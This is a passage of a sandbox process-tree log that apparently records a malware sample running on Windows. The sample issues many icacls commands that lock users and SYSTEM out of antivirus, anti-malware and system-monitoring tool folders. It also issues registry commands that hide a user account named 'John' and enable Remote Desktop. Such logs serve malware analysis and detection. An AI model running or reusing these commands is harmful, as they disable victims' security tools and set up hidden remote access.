C:\Windows\system32\icacls.exeicacls "C:\Programdata\AVAST Software" /deny "Admin":(OI)(CI)(F)5⤵PID:4552
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\AVG" /deny "%username%":(OI)(CI)(F)4⤵PID:4400
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\AVG" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1592
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\AVG" /deny "%username%":(OI)(CI)(F)4⤵PID:3160
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\AVG" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3384
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Norton" /deny "%username%":(OI)(CI)(F)4⤵PID:944
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Norton" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1216
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)4⤵PID:992
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2260
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)4⤵PID:3052
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)5⤵PID:1696
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)4⤵PID:2184
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:5104
-
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4224
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)4⤵PID:1924
-
C:\Windows\system32\icacls.exeicacls "C:\Programdata\Kaspersky Lab" /deny system:(OI)(CI)(F)5⤵PID:1212
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "%username%":(OI)(CI)(F)4⤵PID:4572
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)4⤵PID:340
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Kaspersky Lab Setup Files" /deny system:(OI)(CI)(F)5⤵PID:2024
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files\HitmanPro" /deny "%username%":(OI)(CI)(F)4⤵PID:1340
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files\HitmanPro" /deny "Admin":(OI)(CI)(F)5⤵PID:1248
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "%username%":(OI)(CI)(F)4⤵PID:1604
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Desktop\AV_block_remover" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4424
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "%username%":(OI)(CI)(F)4⤵PID:4456
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Downloads\AV_block_remover" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2972
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Desktop\AutoLogger" /deny "%username%":(OI)(CI)(F)4⤵PID:3360
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Desktop\AutoLogger" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1596
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Users\Admin\Downloads\AutoLogger" /deny "%username%":(OI)(CI)(F)4⤵PID:1448
-
C:\Windows\system32\icacls.exeicacls "C:\Users\Admin\Downloads\AutoLogger" /deny "Admin":(OI)(CI)(F)5⤵PID:3108
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f4⤵PID:2344
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f5⤵
- Hide Artifacts: Hidden Users
PID:1592
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵PID:3068
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f5⤵PID:1364
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f4⤵PID:3160
-
C:\Windows\system32\reg.exereg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v John /t REG_DWORD /d 0 /f5⤵
- Hide Artifacts: Hidden Users
PID:2152
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)4⤵PID:1932
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4560
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2260
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)4⤵PID:4768
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:992
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Kaspersky Lab" /deny system:(OI)(CI)(F)5⤵PID:2296
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny "%username%":(OI)(CI)(F)4⤵PID:892
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:3052
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Kaspersky Lab" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4224
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)4⤵PID:4008
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Kaspersky Lab" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3884
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny "%username%":(OI)(CI)(F)4⤵PID:2156
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Bitdefender Agent" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3836
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)4⤵PID:2432
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Bitdefender Agent" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2792
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny "%username%":(OI)(CI)(F)4⤵PID:4968
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\DrWeb" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1100
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)4⤵PID:2112
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\DrWeb" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3624
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny "%username%":(OI)(CI)(F)4⤵PID:3368
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\Doctor Web" /deny "Admin":(OI)(CI)(F)5⤵PID:2848
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)4⤵PID:1376
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\Doctor Web" /deny system:(OI)(CI)(F)5⤵PID:4456
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny "%username%":(OI)(CI)(F)4⤵PID:1536
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\AV" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:764
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)4⤵PID:3460
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\AV" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4604
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Doctor Web" /deny "%username%":(OI)(CI)(F)4⤵PID:2856
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Doctor Web" /deny "Admin":(OI)(CI)(F)5⤵PID:2344
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\grizzly" /deny "%username%":(OI)(CI)(F)4⤵PID:4108
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\grizzly" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1684
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Cezurity" /deny "%username%":(OI)(CI)(F)4⤵PID:1240
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:900
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Cezurity" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3160
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Cezurity" /deny "%username%":(OI)(CI)(F)4⤵PID:3208
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Cezurity" /deny "Admin":(OI)(CI)(F)5⤵PID:3792
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\McAfee" /deny "%username%":(OI)(CI)(F)4⤵PID:920
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\McAfee" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2448
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Common Files\McAfee" /deny "%username%":(OI)(CI)(F)4⤵PID:3044
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Common Files\McAfee" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3616
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Rainmeter" /deny "%username%":(OI)(CI)(F)4⤵PID:4144
-
C:\Windows\system32\icacls.exeicacls "c:\program files\Rainmeter" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:132
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\Loaris Trojan Remover" /deny "%username%":(OI)(CI)(F)4⤵PID:552
-
C:\Windows\system32\icacls.exeicacls "c:\program files\Loaris Trojan Remover" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3496
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Avira" /deny "%username%":(OI)(CI)(F)4⤵PID:344
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Avira" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3688
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "%username%":(OI)(CI)(F)4⤵PID:4460
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\GRIZZLY Antivirus" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4092
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny "%username%":(OI)(CI)(F)4⤵PID:2132
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\ESET" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4112
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)4⤵PID:2852
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\ESET" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4712
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny "%username%":(OI)(CI)(F)4⤵PID:4764
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Lasso" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4456
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)4⤵PID:4700
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1596
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Lasso" /deny system:(OI)(CI)(F)5⤵PID:2860
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny "%username%":(OI)(CI)(F)4⤵PID:2420
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Ravantivirus" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1864
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)4⤵PID:4676
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Ravantivirus" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1080
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny "%username%":(OI)(CI)(F)4⤵PID:1800
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Evernote" /deny "Admin":(OI)(CI)(F)5⤵PID:4504
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)4⤵PID:1916
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\Evernote" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2152
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny "%username%":(OI)(CI)(F)4⤵PID:4348
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\WavePad" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:3136
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)4⤵PID:1324
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4668
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\WavePad" /deny system:(OI)(CI)(F)5⤵PID:1760
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny "%username%":(OI)(CI)(F)4⤵PID:3388
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\RobotDemo" /deny "Admin":(OI)(CI)(F)5⤵PID:3044
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)4⤵PID:3880
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\RobotDemo" /deny system:(OI)(CI)(F)5⤵PID:4144
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny "%username%":(OI)(CI)(F)4⤵PID:4152
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\PuzzleMedia" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)4⤵PID:2296
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2024
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\PuzzleMedia" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2432
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny "%username%":(OI)(CI)(F)4⤵PID:344
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\ESET" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1344
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)4⤵PID:3164
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1340
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\ESET" /deny system:(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1172
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny "%username%":(OI)(CI)(F)4⤵PID:3624
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\FingerPrint" /deny "Admin":(OI)(CI)(F)5⤵PID:1996
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)4⤵PID:328
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1552
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\FingerPrint" /deny system:(OI)(CI)(F)5⤵PID:2264
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny "%username%":(OI)(CI)(F)4⤵PID:4364
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\BookManager" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1376
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)4⤵PID:1732
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2860
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\BookManager" /deny system:(OI)(CI)(F)5⤵PID:2272
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Panda Security" /deny "%username%":(OI)(CI)(F)4⤵PID:1944
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4604
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Panda Security" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4336
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "%username%":(OI)(CI)(F)4⤵PID:4400
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2344
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\IObit\Advanced SystemCare" /deny "Admin":(OI)(CI)(F)5⤵PID:4676
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "%username%":(OI)(CI)(F)4⤵PID:4956
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1684
-
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files (x86)\IObit\IObit Malware Fighter" /deny "Admin":(OI)(CI)(F)5⤵PID:1124
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files (x86)\Transmission" /deny "%username%":(OI)(CI)(F)4⤵PID:4884
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:3160
-
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files (x86)\Transmission" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1716
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\Program Files\Transmission" /deny "%username%":(OI)(CI)(F)4⤵PID:2268
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:1932
-
-
C:\Windows\system32\icacls.exeicacls "c:\Program Files\Transmission" /deny "Admin":(OI)(CI)(F)5⤵PID:4348
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\Process Hacker 2" /deny "%username%":(OI)(CI)(F)4⤵PID:4664
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\Process Hacker 2" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2992
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\ProgramData\princeton-produce" /deny "%username%":(OI)(CI)(F)4⤵PID:2136
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:576
-
-
C:\Windows\system32\icacls.exeicacls "C:\ProgramData\princeton-produce" /deny "Admin":(OI)(CI)(F)5⤵PID:4576
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\EnigmaSoft" /deny "%username%":(OI)(CI)(F)4⤵PID:2356
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:4008
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\EnigmaSoft" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1308
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\SUPERAntiSpyware" /deny "%username%":(OI)(CI)(F)4⤵PID:3504
-
C:\Windows\system32\icacls.exeicacls "c:\program files\SUPERAntiSpyware" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1128
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\PROGRAM FILES\RogueKiller" /deny "%username%":(OI)(CI)(F)4⤵PID:4572
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2432
-
-
C:\Windows\system32\icacls.exeicacls "C:\PROGRAM FILES\RogueKiller" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1028
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Moo0" /deny "%username%":(OI)(CI)(F)4⤵PID:336
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Moo0" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1432
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\SpeedFan" /deny "%username%":(OI)(CI)(F)4⤵PID:4116
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\SpeedFan" /deny "Admin":(OI)(CI)(F)5⤵PID:4728
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\GPU Temp" /deny "%username%":(OI)(CI)(F)4⤵PID:3420
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2112
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\GPU Temp" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2520
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\CPUID\HWMonitor" /deny "%username%":(OI)(CI)(F)4⤵PID:2852
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\CPUID\HWMonitor" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:2708
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\MSI\MSI Center" /deny "%username%":(OI)(CI)(F)4⤵PID:4764
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\MSI\MSI Center" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:236
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\QuickCPU" /deny "%username%":(OI)(CI)(F)4⤵PID:3944
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:764
-
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\QuickCPU" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:4336
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "c:\program files\NETGATE" /deny "%username%":(OI)(CI)(F)4⤵PID:1724
-
C:\Windows\system32\icacls.exeicacls "c:\program files\NETGATE" /deny "Admin":(OI)(CI)(F)5⤵PID:3576
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files (x86)\Wise" /deny "%username%":(OI)(CI)(F)4⤵PID:4400
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files (x86)\Wise" /deny "Admin":(OI)(CI)(F)5⤵PID:3068
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls "C:\Program Files\ReasonLabs" /deny "%username%":(OI)(CI)(F)4⤵PID:3384
-
C:\Windows\system32\icacls.exeicacls "C:\Program Files\ReasonLabs" /deny "Admin":(OI)(CI)(F)5⤵
- Modifies file permissions
PID:1240
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Local\Programs\transmission /deny %username%:(OI)(CI)F4⤵PID:2956
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2152
-
-
C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Local\Programs\transmission /deny Admin:(OI)(CI)F5⤵PID:1592
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Roaming\Sysfiles /deny %username%:(OI)(CI)F4⤵PID:2148
-
C:\Windows\System32\Conhost.exe\??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV15⤵PID:2260
-
-
C:\Windows\system32\icacls.exeicacls C:\Users\Admin\AppData\Roaming\Sysfiles /deny Admin:(OI)(CI)F5⤵PID:4720
-
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c icacls C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Tor /deny %username%:(OI)(CI)F4⤵PID:1324
-
